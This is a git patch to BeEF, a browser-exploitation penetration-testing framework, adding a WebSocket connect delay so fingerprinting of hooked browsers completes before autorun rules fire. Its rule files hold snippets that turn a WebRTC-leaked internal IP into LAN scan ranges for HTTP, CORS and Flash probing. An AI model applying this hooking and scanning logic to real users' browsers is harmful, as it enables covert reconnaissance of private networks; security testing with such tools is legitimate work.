From c700bb301364bee945103c164882f86d129ab234 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 3 Apr 2016 15:16:14 +0200 Subject: [PATCH] Added ws_connect_timeout option to delay of 500 ms the establishment of the WS channel. This is needed to wait for browser fingerprinting to finish, in order to have all the info needed for triggering ARE rules using WS channel. --- Gemfile.lock | 116 ------------------ arerules/c_osx_webrtc-internalip.json | 28 ----- arerules/lan_cors_scan.json | 2 +- arerules/lan_fingerprint.json | 2 +- arerules/lan_flash_scan.json | 2 +- arerules/lan_http_scan.json | 3 +- config.yaml | 1 + core/main/autorun_engine/engine.rb | 8 ++ core/main/client/init.js | 11 +- core/main/client/net.js | 5 + core/main/client/websocket.js | 3 +- core/main/handlers/browserdetails.rb | 13 +- core/main/handlers/modules/beefjs.rb | 1 + .../main/network_stack/websocket/websocket.rb | 13 ++ 14 files changed, 48 insertions(+), 160 deletions(-) delete mode 100644 arerules/c_osx_webrtc-internalip.json diff --git a/Gemfile.lock b/Gemfile.lock index 0cedac9f3..a28892057 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -3,28 +3,10 @@ GEM specs: addressable (2.4.0) ansi (1.5.0) - atk (3.0.7) - glib2 (= 3.0.7) - bundler-audit (0.5.0) - bundler (~> 1.2) - thor (~> 0.18) - cairo (1.14.3) - pkg-config (>= 1.1.5) - capybara (2.6.2) - addressable - mime-types (>= 1.16) - nokogiri (>= 1.3.3) - rack (>= 1.0.0) - rack-test (>= 0.5.4) - xpath (~> 2.0) - childprocess (0.5.9) - ffi (~> 1.0, >= 1.0.11) chunky_png (1.3.5) - curb (0.9.1) daemons (1.2.3) data_objects (0.10.17) addressable (~> 2.1) - diff-lcs (1.2.5) dm-core (1.2.1) addressable (~> 2.3) dm-do-adapter (1.2.0) @@ -43,8 +25,6 @@ GEM do_sqlite3 (~> 0.10.6) do_sqlite3 (0.10.17) data_objects (= 0.10.17) - domain_name (0.5.20160310) - unf (>= 0.0.5, < 1.0.0) em-websocket (0.3.8) addressable (>= 2.1.1) eventmachine (>= 0.12.9) @@ -52,141 +32,53 @@ GEM eventmachine (1.0.9.1) execjs (2.6.0) fastercsv (1.5.5) - ffi (1.9.10) - gdk_pixbuf2 (3.0.7) - glib2 (= 3.0.7) geoip (1.6.1) - glib2 (3.0.7) - pkg-config - gtk2 (3.0.7) - atk (= 3.0.7) - gdk_pixbuf2 (= 3.0.7) - pango (= 3.0.7) - hoe (3.15.0) - rake (>= 0.8, < 12.0) - http-cookie (1.0.2) - domain_name (~> 0.5) - jar_wrapper (0.1.8) - zip json (1.8.3) json_pure (1.8.3) librex (0.0.999) - libv8 (3.11.8.17) mime-types (2.99.1) - mini_portile2 (2.0.0) mojo_magick (0.5.6) msfrpc-client (1.0.3) librex (~> 0.0.70, >= 0.0.70) msgpack (~> 0.5.8, >= 0.5.8) msgpack (0.5.12) multi_json (1.11.2) - netrc (0.11.0) - nokogiri (1.6.7.2) - mini_portile2 (~> 2.0.0.rc2) - pango (3.0.7) - cairo (>= 1.14.0) - glib2 (= 3.0.7) parseconfig (1.0.8) - pkg-config (1.1.7) - power_assert (0.2.7) qr4r (0.4.0) mojo_magick rqrcode rack (1.6.4) rack-protection (1.5.3) rack - rack-test (0.6.3) - rack (>= 1.0) rainbow (2.1.0) - rake (11.1.1) - ref (2.0.0) - rest-client (1.8.0) - http-cookie (>= 1.0.2, < 2.0) - mime-types (>= 1.16, < 3.0) - netrc (~> 0.7) rexec (1.6.3) rainbow rqrcode (0.10.1) chunky_png (~> 1.0) - rr (1.1.2) - rspec (3.4.0) - rspec-core (~> 3.4.0) - rspec-expectations (~> 3.4.0) - rspec-mocks (~> 3.4.0) - rspec-core (3.4.4) - rspec-support (~> 3.4.0) - rspec-expectations (3.4.0) - diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.4.0) - rspec-mocks (3.4.1) - diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.4.0) - rspec-support (3.4.1) rubydns (0.7.0) eventmachine (~> 1.0.0) rexec (~> 1.6.2) rubyzip (1.2.0) - selenium (0.2.11) - jar_wrapper - selenium-webdriver (2.53.0) - childprocess (~> 0.5) - rubyzip (~> 1.0) - websocket (~> 1.0) sinatra (1.4.7) rack (~> 1.5) rack-protection (~> 1.4) tilt (>= 1.3, < 3) term-ansicolor (1.3.2) tins (~> 1.0) - test-unit (3.1.8) - power_assert - test-unit-full (0.0.3) - test-unit - test-unit-notify - test-unit-rr - test-unit-runner-fox - test-unit-runner-gtk2 - test-unit-runner-tk - test-unit-notify (1.0.4) - test-unit (>= 2.4.9) - test-unit-rr (1.0.5) - rr (>= 1.1.1) - test-unit (>= 2.5.2) - test-unit-runner-fox (0.0.1) - hoe (>= 1.6.0) - test-unit-runner-gtk2 (0.0.2) - gtk2 - test-unit - test-unit-runner-tk (0.0.1) - hoe (>= 1.6.0) - therubyracer (0.11.3) - libv8 (~> 3.11.8.12) - ref thin (1.6.4) daemons (~> 1.0, >= 1.0.9) eventmachine (~> 1.0, >= 1.0.4) rack (~> 1.0) - thor (0.19.1) tilt (2.0.2) tins (1.9.0) uglifier (3.0.0) execjs (>= 0.3.0, < 3) - unf (0.1.4) - unf_ext - unf_ext (0.0.7.2) - websocket (1.2.2) - xpath (2.0.0) - nokogiri (~> 1.3) - zip (2.0.2) PLATFORMS ruby DEPENDENCIES ansi - bundler-audit - capybara - curb data_objects dm-core dm-migrations @@ -195,7 +87,6 @@ DEPENDENCIES em-websocket (~> 0.3.6) erubis eventmachine - execjs geoip json mime-types @@ -203,17 +94,10 @@ DEPENDENCIES parseconfig qr4r rack - rest-client (~> 1.8.0) - rspec rubydns (= 0.7.0) rubyzip (>= 1.0.0) - selenium - selenium-webdriver sinatra term-ansicolor - test-unit - test-unit-full - therubyracer (= 0.11.3) thin uglifier diff --git a/arerules/c_osx_webrtc-internalip.json b/arerules/c_osx_webrtc-internalip.json deleted file mode 100644 index 0059a07da..000000000 --- a/arerules/c_osx_webrtc-internalip.json +++ /dev/null @@ -1,28 +0,0 @@ -{"name": "Get Internal IP (WebRTC)", - "author": "antisnatchor", - "browser": "C", - "browser_version": "ALL", - "os": "OSX", - "os_version": "ALL", - "modules": [ - {"name": "get_internal_ip_webrtc", - "condition": null, - "code": null, - "options": {} - }, - {"name": "internal_network_fingerprinting", - "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;", - "options": { - "ipRange":"<>", - "ports":"80", - "threads":"5", - "wait":"2", - "timeout":"10" - } - } - ], - "execution_order": [0,1], - "execution_delay": [0, 0], - "chain_mode": "nested-forward" -} \ No newline at end of file diff --git a/arerules/lan_cors_scan.json b/arerules/lan_cors_scan.json index 0bfec4f57..b2e4cb992 100644 --- a/arerules/lan_cors_scan.json +++ b/arerules/lan_cors_scan.json @@ -12,7 +12,7 @@ }, {"name": "cross_origin_scanner_cors", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", diff --git a/arerules/lan_fingerprint.json b/arerules/lan_fingerprint.json index 744adb9a3..7d9eb679c 100644 --- a/arerules/lan_fingerprint.json +++ b/arerules/lan_fingerprint.json @@ -12,7 +12,7 @@ }, {"name": "internal_network_fingerprinting", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", diff --git a/arerules/lan_flash_scan.json b/arerules/lan_flash_scan.json index 85482e4c9..cac6f0a31 100644 --- a/arerules/lan_flash_scan.json +++ b/arerules/lan_flash_scan.json @@ -12,7 +12,7 @@ }, {"name": "cross_origin_scanner_flash", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", diff --git a/arerules/lan_http_scan.json b/arerules/lan_http_scan.json index 576fa6429..6902b3ab9 100644 --- a/arerules/lan_http_scan.json +++ b/arerules/lan_http_scan.json @@ -12,7 +12,8 @@ }, {"name": "get_http_servers", "condition": "status==1", - "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end", + //"code": "var mod_input='10.0.60.13-10.0.60.19';", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;", "options": { "ipRange":"<>", "ports":"80,8080", diff --git a/config.yaml b/config.yaml index 8c6ae0dc9..e7311f9ff 100644 --- a/config.yaml +++ b/config.yaml @@ -68,6 +68,7 @@ beef: secure: true secure_port: 61986 # WSSecure ws_poll_timeout: 1000 # poll BeEF every second + ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) web_server_imitation: diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb index 82f3753d9..53d74838c 100644 --- a/core/main/autorun_engine/engine.rb +++ b/core/main/autorun_engine/engine.rb @@ -24,6 +24,14 @@ module BeEF @VERSION_STR = ['XP','Vista'] end + # Check if the hooked browser type/version and OS type/version match any Rule-sets + # stored in the BeEF::Core::AutorunEngine::Models::Rule database table + # If one or more Rule-sets do match, trigger the module chain specified + def run(hb_id, browser_name, browser_version, os_name, os_version) + are = BeEF::Core::AutorunEngine::Engine.instance + match_rules = are.match(browser_name, browser_version, os_name, os_version) + are.trigger(match_rules, hb_id) if match_rules.length > 0 + end # Prepare and return the JavaScript of the modules to be sent. # It also updates the rules ARE execution table with timings diff --git a/core/main/client/init.js b/core/main/client/init.js index 991c622e3..a14e6bd01 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -64,11 +64,14 @@ window.onclose = function (event) { function beef_init() { if (!beef.pageIsLoaded) { beef.pageIsLoaded = true; + beef.net.browser_details(); + if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') { - beef.websocket.start(); - beef.net.browser_details(); - beef.updater.execute_commands(); - beef.logger.start(); + setTimeout(function(){ + beef.websocket.start(); + beef.updater.execute_commands(); + beef.logger.start(); + }, parseInt(beef.websocket.ws_connect_timeout)); }else { beef.net.browser_details(); beef.updater.execute_commands(); diff --git a/core/main/client/net.js b/core/main/client/net.js index 5ddb693c8..68fa999b1 100644 --- a/core/main/client/net.js +++ b/core/main/client/net.js @@ -502,8 +502,13 @@ beef.net = { */ browser_details: function () { var details = beef.browser.getDetails(); + var res = null; details['HookSessionID'] = beef.session.get_hook_session_id(); this.send('/init', 0, details); + if(details != null) + res = true; + + return res; } }; diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index b7a5f3d64..a1826890d 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -17,6 +17,7 @@ beef.websocket = { socket:null, ws_poll_timeout: "<%= @ws_poll_timeout %>", + ws_connect_timeout: "<%= @ws_connect_timeout %>", /** * Initialize the WebSocket client object. @@ -85,7 +86,7 @@ beef.websocket = { */ alive: function (){ beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}'); - setTimeout("beef.websocket.alive()", beef.websocket.ws_poll_timeout); + setTimeout("beef.websocket.alive()", parseInt(beef.websocket.ws_poll_timeout)); } }; diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 4d6e02096..abe4cc485 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -371,13 +371,11 @@ module BeEF BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName')) end - # Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets - # stored in the BeEF::Core::AutorunEngine::Models::Rule database table - # If one or more Rule-sets do match, trigger the module chain specified - # - are = BeEF::Core::AutorunEngine::Engine.instance - match_rules = are.match(browser_name, browser_version, os_name, os_version) - are.trigger(match_rules, zombie.id) if match_rules.length > 0 + # check if any ARE rules shall be triggered only if the channel is != WebSockets (XHR). If the channel + # is WebSockets, then ARe rules are triggered after channel is established. + unless config.get("beef.http.websocket.enable") + BeEF::Core::AutorunEngine::Engine.instance.run(zombie.id, browser_name, browser_version, os_name, os_version) + end end def get_param(query, key) @@ -390,3 +388,4 @@ module BeEF end end + diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 6f9cb627a..c484fbda9 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -105,6 +105,7 @@ module BeEF hook_session_config['websocket_secure'] = config.get("beef.http.websocket.secure") hook_session_config['websocket_port'] = config.get("beef.http.websocket.port") hook_session_config['ws_poll_timeout'] = config.get("beef.http.websocket.ws_poll_timeout") + hook_session_config['ws_connect_timeout'] = config.get("beef.http.websocket.ws_connect_timeout") hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port") end diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index a4b4fabcb..f83e665a5 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -58,6 +58,18 @@ module BeEF #insert new connection in activesocket @@activeSocket["#{msg_hash["cookie"]}"] = ws print_debug("WebSocket - activeSocket content [#{@@activeSocket}]") + + hb_session = msg_hash["cookie"] + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hb_session) + if hooked_browser != nil + browser_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'BrowserName') + browser_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'BrowserVersion') + os_name = BeEF::Core::Models::BrowserDetails.get(hb_session, 'OsName') + os_version = BeEF::Core::Models::BrowserDetails.get(hb_session, 'OsVersion') + BeEF::Core::AutorunEngine::Engine.instance.run(hooked_browser.id, browser_name, browser_version, os_name, os_version) + else + print_error "WebSocket - Fingerprinting not finished yet. ARE rules were not triggered. You may want to trigger them manually via RESTful API." + end elsif msg_hash["alive"] != nil hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"]) unless hooked_browser.nil? @@ -96,6 +108,7 @@ module BeEF end rescue => e print_error "WebSocket - something wrong in msg handling - skipped: #{e}" + print_debug "WebSocket - something wrong in msg handling - skipped: #{e.backtrace}" end } rescue => e